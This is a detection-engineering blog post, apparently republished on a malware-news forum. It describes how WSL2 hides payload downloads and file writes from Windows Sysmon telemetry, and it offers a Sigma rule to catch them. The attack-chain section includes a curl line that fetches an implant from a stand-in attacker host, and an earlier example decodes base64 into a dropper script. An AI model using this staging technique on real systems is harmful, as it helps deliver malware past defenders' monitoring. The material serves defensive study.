The Interesting Case of WSL for Payload Staging

What Is WSL2?

Windows Subsystem for Linux (WSL) lets you run a Linux environment directly on Windows without a traditional virtual machine or dual-boot setup. Microsoft ships two versions.

WSL1 translates Linux system calls into Windows kernel calls in real time. There is no separate kernel — Linux processes run as pico processes inside the Windows kernel. Windows telemetry tools see them because they execute within the Windows process model.

WSL2 is architecturally different. It runs a full Linux kernel inside a lightweight Hyper-V virtual machine. The Linux kernel is real — not translated, not emulated. Linux processes run in their own memory space, with their own network stack, their own filesystem, and their own process table. Windows has no visibility into this VM unless something explicitly crosses the boundary.

Three things cross the boundary:

1. WSL interop — calling a .exe from inside WSL (e.g., cmd.exe /c whoami). This creates a real Windows process with wsl.exe as the parent. Fully visible to Sysmon.

2. Filesystem access via /mnt/c/ — Linux processes can read and write the Windows C: drive through a Plan 9 (9P) filesystem mount. File operations cross the VM boundary via the 9P protocol and are handled on the Windows side by a COM surrogate (DllHost.exe hosting vp9fs.dll).

3. Network — nothing crosses. WSL2’s network stack is inside the VM. It has its own IP address (typically 172.x.x.x), its own DNS resolution, its own routing table. Connections initiated from WSL2 never touch the Windows TCP/IP stack. Windows-side tools — netstat, Sysmon, packet captures on the host NIC — see nothing.

When a process inside WSL2 writes a file to the Windows filesystem, Sysmon doesn’t see the Linux process. It sees DllHost.exe. No suspicious parent. No attacker binary. Just a Microsoft-signed system process creating a file in C:\Users\Public.

This post demonstrates the detection gap, shows exactly what defenders see (and don’t see) in their SIEM, and provides a Sigma rule that catches it.

This is a case study in indirect command execution — a class of techniques where the process responsible for a malicious action is not the process that appears in telemetry.

The ADE Framework Lens

The ADE Framework classifies Detection Logic Bugs — gaps between what a rule intends to detect and what it actually detects — into four categories:

• ADE1: Reformatting — Same outcome, different string (obfuscation, encoding)
• ADE2: Omit Alternatives — Rule watches one tool, misses equivalent alternatives
• ADE3: Context Development — Attack spans multiple events, processes, or telemetry sources
• ADE4: Logic Manipulation — Rule’s Boolean logic is flawed

WSL payload staging falls under ADE3 — Context Development. The malicious action (downloading and writing a file) is split across two execution contexts:

1. Linux side (inside WSL2 VM): the download and file write initiation — invisible to Windows telemetry
2. Windows side (DllHost.exe 9P proxy): the file creation event — visible, but attributed to a system process with no link to the attacker

No single Sysmon event contains enough information to reconstruct the attack. The network event doesn’t exist. The file-create event points to DllHost.exe. The causal chain is severed at the VM boundary.

Indirect Command Execution: The General Pattern

WSL payload staging is one instance of a broader pattern: the attacker’s action passes through a legitimate intermediary process, and telemetry captures the intermediary, not the attacker.

The detection challenge is always the same: the process in the event is not the process that decided to act. Rules that match on process identity (“alert if certutil.exe downloads a file") work when the attacker IS the process. They fail when the attacker hides behind an intermediary.

The defense pattern is consistent: detect the outcome, not the intermediary. A file with a dangerous extension appearing in a user-writable directory is suspicious regardless of which process created it.

The Setup

WSL2 runs a real Linux kernel inside a Hyper-V lightweight VM. It can read and write the Windows filesystem through the /mnt/c/ mount, which uses the Plan 9 (9P) filesystem protocol to proxy file operations to the Windows host.

When a Linux process writes to /mnt/c/, the operation crosses the VM boundary. On the Windows side, DllHost.exe — a generic COM surrogate process — handles the file operation. This is the process Sysmon sees. The Linux process that initiated the write is invisible.

Here’s what that looks like from an attacker’s perspective:

# Inside WSL Ubuntu
echo ‘SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0AC4ALgAu’ | base64 -d > /mnt/c/Users/Public/dropper.ps1

From the Windows perspective, DllHost.exe just created C:\Users\Public\dropper.ps1 out of thin air.

What Sysmon Actually Logs

The network connection: nothing

Running curl from inside WSL2 and checking Sysmon Event ID 3 (NetworkConnect) returns zero events. WSL2’s network stack runs inside the Hyper-V VM. The connection never passes through Windows’ TCP/IP stack, so Sysmon — which hooks Windows networking — never sees it.

For comparison, the same curl command run from Windows PowerShell produces a clear Sysmon EID 3 with the source process, destination IP, and port.

The file write: DllHost.exe

Writing four files from WSL — .txt, .ps1, .bat, and .exe — and capturing Sysmon Event ID 11 (FileCreate) shows the same result every time:

• wsl_test_txt.txt → Image: C:\WINDOWS\system32\DllHost.exe
• wsl_test_ps1.ps1 → Image: C:\WINDOWS\system32\DllHost.exe
• wsl_test_bat.bat → Image: C:\WINDOWS\system32\DllHost.exe
• wsl_test_exe.exe → Image: C:\WINDOWS\system32\DllHost.exe

Every file, regardless of type, is attributed to DllHost.exe with the same PID. The User field shows the logged-in Windows account — not a system account, not a WSL user.

Compare with a Windows-native PowerShell write: Image shows C:\Program Files\PowerShell\7\pwsh.exe.

The Detection Rule

A Sigma rule that catches WSL-staged payload drops:

title: Potential WSL File Staging
status: experimental
references:
    - Working across file systems | Microsoft Learn
author: Daniel Koifman
logsource:
    category: file_event
    product: windows
detection:
    selection_image:
        Image|endswith: ‘\DllHost.exe’
    selection_target:
        TargetFilename|endswith:
            - ‘.exe’
            - ‘.dll’
            - ‘.ps1’
            - ‘.bat’
            - ‘.cmd’
            - ‘.vbs’
            - ‘.vbe’
            - ‘.js’
            - ‘.jse’
            - ‘.wsf’
            - ‘.hta’
            - ‘.scr’
    selection_path:
        TargetFilename|contains:
            - '\Users\Public'
            - '\Users\Default'
            - ‘\Windows\Temp'
            - ‘\ProgramData'
    condition: selection_image and selection_target and selection_path
falsepositives:
    - Legitimate COM operations that produce executables in user-writable directories (rare)
    - Software installers using DllHost for file extraction
level: high
tags:
    - attack.defense_evasion
    - attack.t1564.006
    - attack.t1105

The Full Attack Chain

What a WSL-staged attack looks like from the SIEM’s perspective:

Step 1 — Attacker gains WSL shell wsl.exe is launched. Sysmon EID 1 fires. Detectable, but not inherently suspicious.

Step 2 — Download payload inside WSL curl https://attacker.com/implant.exe -o /mnt/c/Users/Public/update.exe runs. The network connection is inside the Hyper-V VM.

Step 3 — File appears on Windows disk The 9P proxy writes through DllHost.exe. Sysmon EID 11 fires: DllHost.exe created a file. No link to curl or WSL.

Step 4 — Attacker triggers execution The payload runs via a scheduled task, user click, or WSL interop call. Sysmon EID 1 fires. Parent may be svchost.exe (task) or wsl.exe (interop).

Steps 2 and 3 are the blind spot. The download has zero network telemetry. The file write has no attribution to the downloading process. The only link between them is temporal — and even that can be broken with a delay.

What About WSL Interop?

A natural question: can the attacker just call powershell.exe from WSL to execute the payload?

Yes — and that IS detectable. WSL interop (calling .exe from inside WSL) creates a real Windows process with wsl.exe as the parent. Sysmon EID 1 fires normally. Image: cmd.exe, ParentImage: wsl.exe. Detectable.

But the file staging step remains invisible. The attacker can stage the file at any time, from any WSL session, and trigger execution later through any mechanism. By the time the payload runs, there’s no forensic link to the staging process.

What About WSL File READS?

Same telemetry — the file read operation will be performed via dllhost.exe

Limitations and Caveats

This is not a silver bullet for attackers. Practical constraints matter:

WSL must be installed. Not present on most enterprise endpoints by default. Its presence alone is a detection signal worth monitoring.

wsl.exe execution is visible. The initial launch produces a Sysmon EID 1. Environments that alert on unexpected wsl.exe execution catch the entry point.

DllHost.exe file creation IS logged. The file appears in Sysmon EID 11. Rules scoped to dangerous extensions in user-writable directories will catch it — the miss is in attribution, not visibility.

Testing This Yourself

All commands are benign and safe to run on a test machine with WSL2 and Sysmon installed.

Step 1: Write test files from WSL

# From WSL Ubuntu:
echo “test content” > /mnt/c/Users/Public/wsl_test.txt
echo “Get-Process” > /mnt/c/Users/Public/wsl_test.ps1
printf “MZfakeexe” > /mnt/c/Users/Public/wsl_test.exe

Step 2: Check Sysmon EID 11

Get-WinEvent -LogName “Microsoft-Windows-Sysmon/Operational” -MaxEvents 100 |
  Where-Object { $.Id -eq 11 } |
  ForEach-Object {
    $xml = ([xml]$.ToXml()).Event.EventData.Data
    $target = ($xml | Where-Object { $.Name -eq ‘TargetFilename’ }).‘#text’
    $img = ($xml | Where-Object { $.Name -eq ‘Image’ }).’#text’
    if ($target -like “wsl_test”) { “Image: $img | File: $target” }
  }

Expected output: all files attributed to DllHost.exe.

Summary

• WSL2 network connections — Invisible to Windows Sysmon
• File writes via /mnt/c/ — Visible but attributed to DllHost.exe
• WSL interop (.exe from WSL) — Fully visible, parent = wsl.exe

A file can be downloaded and staged on the Windows filesystem with no process chain linking the download to the file creation.

If you enjoyed the article, feel free to connect with me!
https://www.linkedin.com/in/daniel-koifman-61072218b/
https://x.com/KoifSec
https://koifsec.me
https://bsky.app/profile/koifsec.bsky.social

The Interesting Case of WSL for Payload Staging was originally published in Detect FYI on Medium, where people are continuing the conversation by highlighting and responding to this story.

Introduction to Malware Binary Triage (IMBT) Course

Looking to level up your skills? Get 10% off using coupon code: MWNEWS10 for any flavor.

Enroll Now and Save 10%: Coupon Code MWNEWS10

Note: Affiliate link – your enrollment helps support this platform at no extra cost to you.

Article Link: https://detect.fyi/the-interesting-case-of-wsl-for-payload-staging-bfaa0f69329a?source=rss----d5fd8f494f6a---4

1 post - 1 participant

Read full topic

Malware Analysis, News and Indicators - Latest topics